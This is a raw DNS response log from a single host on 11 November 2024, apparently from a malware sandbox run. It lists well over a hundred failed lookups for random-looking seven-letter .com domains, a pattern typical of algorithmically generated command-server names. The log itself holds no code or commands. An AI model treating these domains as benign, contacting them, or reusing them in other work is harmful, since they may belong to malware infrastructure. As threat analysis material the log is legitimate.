Nov 11, 2024 18:50:47.940855980 CET	1.1.1.1	192.168.2.6	0x56ed	Name error (3)	gaqyres.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.943651915 CET	1.1.1.1	192.168.2.6	0xabe8	Name error (3)	lyxygur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.943665028 CET	1.1.1.1	192.168.2.6	0x73b1	Name error (3)	qeqyrav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.945306063 CET	1.1.1.1	192.168.2.6	0xd4d4	Name error (3)	puzygyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.947243929 CET	1.1.1.1	192.168.2.6	0xe961	Name error (3)	qebyqig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.955040932 CET	1.1.1.1	192.168.2.6	0x2f9c	Name error (3)	gadycih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.957422018 CET	1.1.1.1	192.168.2.6	0xcd63	Name error (3)	volygyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.965086937 CET	1.1.1.1	192.168.2.6	0xd990	Name error (3)	qexynyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.966981888 CET	1.1.1.1	192.168.2.6	0x94c0	Name error (3)	vofycim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.984812021 CET	1.1.1.1	192.168.2.6	0xb381	Name error (3)	lysyxuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.985955000 CET	1.1.1.1	192.168.2.6	0xb99e	Name error (3)	vocymum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.987004995 CET	1.1.1.1	192.168.2.6	0x1e49	Name error (3)	vonyqof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.987816095 CET	1.1.1.1	192.168.2.6	0xb2d8	Name error (3)	lygysid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.005559921 CET	1.1.1.1	192.168.2.6	0x76fc	Name error (3)	lymywad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.006102085 CET	1.1.1.1	192.168.2.6	0xab56	Name error (3)	pujydap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.006587982 CET	1.1.1.1	192.168.2.6	0x1974	Name error (3)	pumywov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.006870985 CET	1.1.1.1	192.168.2.6	0x4acb	Name error (3)	vojydoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.007091045 CET	1.1.1.1	192.168.2.6	0xdc9d	Name error (3)	gacynyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.020245075 CET	1.1.1.1	192.168.2.6	0x34a	Name error (3)	lyvymun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.021404982 CET	1.1.1.1	192.168.2.6	0xfb4e	Name error (3)	puvymug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.021421909 CET	1.1.1.1	192.168.2.6	0x4f99	Name error (3)	gatyzyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.028458118 CET	1.1.1.1	192.168.2.6	0x2fc0	Name error (3)	lyryler.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.029853106 CET	1.1.1.1	192.168.2.6	0xed72	Name error (3)	ganyqib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.031006098 CET	1.1.1.1	192.168.2.6	0xb872	Name error (3)	vowykat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.031054974 CET	1.1.1.1	192.168.2.6	0x390c	Name error (3)	vopyzyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.031585932 CET	1.1.1.1	192.168.2.6	0xad74	Name error (3)	galyfez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.031845093 CET	1.1.1.1	192.168.2.6	0xe500	Name error (3)	gahydos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.032479048 CET	1.1.1.1	192.168.2.6	0x396f	Name error (3)	purylal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.035449028 CET	1.1.1.1	192.168.2.6	0x3852	Name error (3)	qetylel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.051256895 CET	1.1.1.1	192.168.2.6	0x7362	Name error (3)	pupyxuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.051687956 CET	1.1.1.1	192.168.2.6	0x4c2a	Name error (3)	qekyfep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.051964045 CET	1.1.1.1	192.168.2.6	0x520f	Name error (3)	lykyfax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.054430008 CET	1.1.1.1	192.168.2.6	0xe1e8	Name error (3)	qegysiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.153625965 CET	1.1.1.1	192.168.2.6	0x3b24	Name error (3)	gaqyqiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.171379089 CET	1.1.1.1	192.168.2.6	0x978c	Name error (3)	gatyrah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.183003902 CET	1.1.1.1	192.168.2.6	0x6dde	Name error (3)	puzydog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.184115887 CET	1.1.1.1	192.168.2.6	0x5798	Name error (3)	lyvygyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.192398071 CET	1.1.1.1	192.168.2.6	0xbc64	Name error (3)	lyxyfan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.195357084 CET	1.1.1.1	192.168.2.6	0xd421	Name error (3)	gahycuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.198992968 CET	1.1.1.1	192.168.2.6	0x32fe	Name error (3)	lyrywoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.199491978 CET	1.1.1.1	192.168.2.6	0x15ef	Name error (3)	qetyraq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.200701952 CET	1.1.1.1	192.168.2.6	0x3c2d	Name error (3)	puvygyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.201381922 CET	1.1.1.1	192.168.2.6	0xddb3	Name error (3)	pufyxyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.204307079 CET	1.1.1.1	192.168.2.6	0x4a14	Name error (3)	vocygef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.204739094 CET	1.1.1.1	192.168.2.6	0x9b91	Name error (3)	lymyjix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.212378979 CET	1.1.1.1	192.168.2.6	0x6919	Name error (3)	vojycit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.217550039 CET	1.1.1.1	192.168.2.6	0xd62e	Name error (3)	qegyxup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.217583895 CET	1.1.1.1	192.168.2.6	0xf61d	Name error (3)	vowyqik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.223690033 CET	1.1.1.1	192.168.2.6	0xb2fa	Name error (3)	purywoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.235057116 CET	1.1.1.1	192.168.2.6	0x669	Name error (3)	qeqyqul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.242428064 CET	1.1.1.1	192.168.2.6	0xbd63	Name error (3)	lyxyfan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.244204044 CET	1.1.1.1	192.168.2.6	0x33b7	Name error (3)	qegyxup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.244338989 CET	1.1.1.1	192.168.2.6	0x9d65	Name error (3)	gaqyqiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.251590014 CET	1.1.1.1	192.168.2.6	0x9341	Name error (3)	vofypuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.251837969 CET	1.1.1.1	192.168.2.6	0x5830	Name error (3)	vofyzyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.252804041 CET	1.1.1.1	192.168.2.6	0x3f75	Name error (3)	gadypub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.254383087 CET	1.1.1.1	192.168.2.6	0xc338	Name error (3)	qeqykop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.256141901 CET	1.1.1.1	192.168.2.6	0x652d	Name error (3)	pumyjip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.264070034 CET	1.1.1.1	192.168.2.6	0x89e0	Name error (3)	lyvygyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.268712997 CET	1.1.1.1	192.168.2.6	0xb30e	Name error (3)	purywoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.272562981 CET	1.1.1.1	192.168.2.6	0x564c	Name error (3)	volybak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.281021118 CET	1.1.1.1	192.168.2.6	0xba7a	Name error (3)	gaqykoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.282560110 CET	1.1.1.1	192.168.2.6	0x114d	Name error (3)	gacyfeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.283103943 CET	1.1.1.1	192.168.2.6	0xac26	Name error (3)	qekyvol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.283468008 CET	1.1.1.1	192.168.2.6	0x37b5	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.284435034 CET	1.1.1.1	192.168.2.6	0xfbe0	Name error (3)	gaqydeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.285058975 CET	1.1.1.1	192.168.2.6	0xd312	Name error (3)	pupyteg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.285921097 CET	1.1.1.1	192.168.2.6	0x667d	Name error (3)	vonyjuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.297725916 CET	1.1.1.1	192.168.2.6	0xfdee	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.298032999 CET	1.1.1.1	192.168.2.6	0x353a	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.298176050 CET	1.1.1.1	192.168.2.6	0xa8f2	Name error (3)	lyxylux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.299129009 CET	1.1.1.1	192.168.2.6	0x39b1	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.299568892 CET	1.1.1.1	192.168.2.6	0xa3c8	Name error (3)	qekykev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.300213099 CET	1.1.1.1	192.168.2.6	0x1768	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.300956964 CET	1.1.1.1	192.168.2.6	0x2ed1	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.301598072 CET	1.1.1.1	192.168.2.6	0x7336	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.302164078 CET	1.1.1.1	192.168.2.6	0xbac1	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.303472996 CET	1.1.1.1	192.168.2.6	0xb14f	Name error (3)	pujycil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.307915926 CET	1.1.1.1	192.168.2.6	0x2ff4	Name error (3)	ganyhus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.310134888 CET	1.1.1.1	192.168.2.6	0x1c8c	Name error (3)	gacyryw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.311702967 CET	1.1.1.1	192.168.2.6	0x7d09	Name error (3)	lygygin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.314996004 CET	1.1.1.1	192.168.2.6	0x8efe	Name error (3)	vocyruk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.315076113 CET	1.1.1.1	192.168.2.6	0x9ab4	Name error (3)	qedytyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.315871000 CET	1.1.1.1	192.168.2.6	0x62b9	Name error (3)	puzybeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.317600965 CET	1.1.1.1	192.168.2.6	0xf0d0	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.320710897 CET	1.1.1.1	192.168.2.6	0xf0bd	Name error (3)	qedynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.322081089 CET	1.1.1.1	192.168.2.6	0x656b	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.329751015 CET	1.1.1.1	192.168.2.6	0x380b	Name error (3)	qebyhuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.331054926 CET	1.1.1.1	192.168.2.6	0x1292	Name error (3)	lykyvor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.333198071 CET	1.1.1.1	192.168.2.6	0xf03a	Name error (3)	qexyfag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.333532095 CET	1.1.1.1	192.168.2.6	0x83aa	Name error (3)	vopyrem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.333549976 CET	1.1.1.1	192.168.2.6	0xdd92	Name error (3)	lysytyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.336054087 CET	1.1.1.1	192.168.2.6	0x7cba	Name error (3)	gahycuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.342436075 CET	1.1.1.1	192.168.2.6	0x917e	Name error (3)	lyxynej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.342931032 CET	1.1.1.1	192.168.2.6	0xd95e	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.346422911 CET	1.1.1.1	192.168.2.6	0x1155	Name error (3)	puvygyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.347074032 CET	1.1.1.1	192.168.2.6	0xc6de	Name error (3)	qetyraq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.347793102 CET	1.1.1.1	192.168.2.6	0xb783	Name error (3)	pufyxyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.350234032 CET	1.1.1.1	192.168.2.6	0xa44f	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.351718903 CET	1.1.1.1	192.168.2.6	0xced0	Name error (3)	lyrywoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.355004072 CET	1.1.1.1	192.168.2.6	0xbb7f	Name error (3)	vojycit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.355829954 CET	1.1.1.1	192.168.2.6	0xbaac	Name error (3)	galyvaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.365233898 CET	1.1.1.1	192.168.2.6	0xfd4	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.372606039 CET	1.1.1.1	192.168.2.6	0xcbc9	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.372714996 CET	1.1.1.1	192.168.2.6	0xdf3e	Name error (3)	puvytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.374382019 CET	1.1.1.1	192.168.2.6	0x2912	Name error (3)	lyryvex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.374871016 CET	1.1.1.1	192.168.2.6	0x7034	Name error (3)	puzydog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.375428915 CET	1.1.1.1	192.168.2.6	0xb763	Name error (3)	pumypog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.376046896 CET	1.1.1.1	192.168.2.6	0x2ced	Name error (3)	gatyrah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.376981974 CET	1.1.1.1	192.168.2.6	0x9a26	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.378094912 CET	1.1.1.1	192.168.2.6	0xeab5	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.378592014 CET	1.1.1.1	192.168.2.6	0x26c	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.378608942 CET	1.1.1.1	192.168.2.6	0x5941	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.378972054 CET	1.1.1.1	192.168.2.6	0x9cf6	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.379127026 CET	1.1.1.1	192.168.2.6	0xc313	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.380590916 CET	1.1.1.1	192.168.2.6	0xd3a2	Name error (3)	volykyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.381306887 CET	1.1.1.1	192.168.2.6	0xafaa	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.381936073 CET	1.1.1.1	192.168.2.6	0xeb4f	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.385046005 CET	1.1.1.1	192.168.2.6	0x5d6b	Name error (3)	vopybyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.386879921 CET	1.1.1.1	192.168.2.6	0x3f59	Name error (3)	vocygef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.387003899 CET	1.1.1.1	192.168.2.6	0x1a31	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.387881041 CET	1.1.1.1	192.168.2.6	0xfcb8	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.388894081 CET	1.1.1.1	192.168.2.6	0x1f87	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.390620947 CET	1.1.1.1	192.168.2.6	0x89b9	Name error (3)	gatyvyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.392189026 CET	1.1.1.1	192.168.2.6	0xf180	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.394159079 CET	1.1.1.1	192.168.2.6	0xa5f2	Name error (3)	vojyjof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.403203011 CET	1.1.1.1	192.168.2.6	0xef20	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.453016043 CET	1.1.1.1	192.168.2.6	0x68c3	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.502449036 CET	1.1.1.1	192.168.2.6	0xe970	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.503139019 CET	1.1.1.1	192.168.2.6	0x87cb	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.503150940 CET	1.1.1.1	192.168.2.6	0x8d45	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.503355026 CET	1.1.1.1	192.168.2.6	0x30f7	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.503576040 CET	1.1.1.1	192.168.2.6	0xcfaa	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.504446030 CET	1.1.1.1	192.168.2.6	0xbcfc	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.571357965 CET	1.1.1.1	192.168.2.6	0xbd73	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.582556009 CET	1.1.1.1	192.168.2.6	0xe9f1	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.636082888 CET	1.1.1.1	192.168.2.6	0x3ac6	Name error (3)	lygyxux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.927382946 CET	1.1.1.1	192.168.2.6	0x8b97	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.801723957 CET	1.1.1.1	192.168.2.6	0xacda	Name error (3)	gacyqob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.805843115 CET	1.1.1.1	192.168.2.6	0xc8e7	Name error (3)	lymylyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.808377981 CET	1.1.1.1	192.168.2.6	0x9e61	Name error (3)	puzymig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.931875944 CET	1.1.1.1	192.168.2.6	0xe588	Name error (3)	qetyxiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.933399916 CET	1.1.1.1	192.168.2.6	0xf2f8	Name error (3)	vojygut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.937066078 CET	1.1.1.1	192.168.2.6	0x6e59	Name error (3)	qeqylyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.088628054 CET	1.1.1.1	192.168.2.6	0xc6ea	Name error (3)	gahyfyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.096407890 CET	1.1.1.1	192.168.2.6	0xa29	Name error (3)	puvywav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.176708937 CET	1.1.1.1	192.168.2.6	0x856e	Name error (3)	vocyqaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.177527905 CET	1.1.1.1	192.168.2.6	0x39	Name error (3)	qegyfyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.179068089 CET	1.1.1.1	192.168.2.6	0xc112	Name error (3)	lygyfex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.180121899 CET	1.1.1.1	192.168.2.6	0xf23	Name error (3)	gatycoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.181766987 CET	1.1.1.1	192.168.2.6	0x8a9f	Name error (3)	lyvywed.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.182116985 CET	1.1.1.1	192.168.2.6	0x67a2	Name error (3)	qexyqog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.183902979 CET	1.1.1.1	192.168.2.6	0xdec3	Name error (3)	vowyzuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.184274912 CET	1.1.1.1	192.168.2.6	0xb72e	Name error (3)	pufydep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.184457064 CET	1.1.1.1	192.168.2.6	0xfff1	Name error (3)	lyxymin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.187762022 CET	1.1.1.1	192.168.2.6	0xbe00	Name error (3)	vofybyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.188621044 CET	1.1.1.1	192.168.2.6	0xf66a	Name error (3)	puryxuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.190769911 CET	1.1.1.1	192.168.2.6	0xb5ec	Name error (3)	pujymip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.207067966 CET	1.1.1.1	192.168.2.6	0x5d2	Name error (3)	gaqyzuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.207165003 CET	1.1.1.1	192.168.2.6	0xdd08	Name error (3)	gadydas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.207477093 CET	1.1.1.1	192.168.2.6	0x4212	Name error (3)	lymytux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.236073017 CET	1.1.1.1	192.168.2.6	0x3493	Name error (3)	gacykeh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.236092091 CET	1.1.1.1	192.168.2.6	0x3bed	Name error (3)	vowypit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.236262083 CET	1.1.1.1	192.168.2.6	0x3893	Name error (3)	purypol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.236634016 CET	1.1.1.1	192.168.2.6	0xa625	Name error (3)	qexykaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.237473965 CET	1.1.1.1	192.168.2.6	0x236e	Name error (3)	qegynuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.237483978 CET	1.1.1.1	192.168.2.6	0x5eaf	Name error (3)	pujygul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.237494946 CET	1.1.1.1	192.168.2.6	0xb903	Name error (3)	gaqypiz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.237966061 CET	1.1.1.1	192.168.2.6	0xb1c1	Name error (3)	gahynus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.238720894 CET	1.1.1.1	192.168.2.6	0x82cc	Name error (3)	qetysal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.238743067 CET	1.1.1.1	192.168.2.6	0xf27c	Name error (3)	puvylyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.238759995 CET	1.1.1.1	192.168.2.6	0x8563	Name error (3)	vojymic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.238769054 CET	1.1.1.1	192.168.2.6	0x96c2	Name error (3)	pumytup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.244389057 CET	1.1.1.1	192.168.2.6	0xb6fc	Name error (3)	ganyrys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.246002913 CET	1.1.1.1	192.168.2.6	0xfdda	Name error (3)	vopycom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.270754099 CET	1.1.1.1	192.168.2.6	0xe3a7	Name error (3)	galyhiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.271177053 CET	1.1.1.1	192.168.2.6	0x78d6	Name error (3)	volyjok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.271583080 CET	1.1.1.1	192.168.2.6	0x52fa	Name error (3)	qedyveg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.272783041 CET	1.1.1.1	192.168.2.6	0x2cb2	Name error (3)	qeqytup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.273546934 CET	1.1.1.1	192.168.2.6	0x8de5	Name error (3)	puzyjoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.273751020 CET	1.1.1.1	192.168.2.6	0xd6ac	Name error (3)	vonyryc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.275099039 CET	1.1.1.1	192.168.2.6	0x9fa	Name error (3)	volymum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.292498112 CET	1.1.1.1	192.168.2.6	0xca1a	Name error (3)	qekyhil.com	none	none	A (IP address)	IN (0x0001)	false
